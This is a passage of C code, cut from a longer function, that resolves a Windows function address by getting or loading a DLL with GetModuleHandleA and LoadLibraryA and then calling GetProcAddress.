hModule = GetModuleHandleA(lpFileName);
if (hModule == NULL)
hModule = LoadLibraryA(lpFileName);
if (hModule != NULL)
return GetProcAddress(hModule,lpProcName);
else
return NULL;
}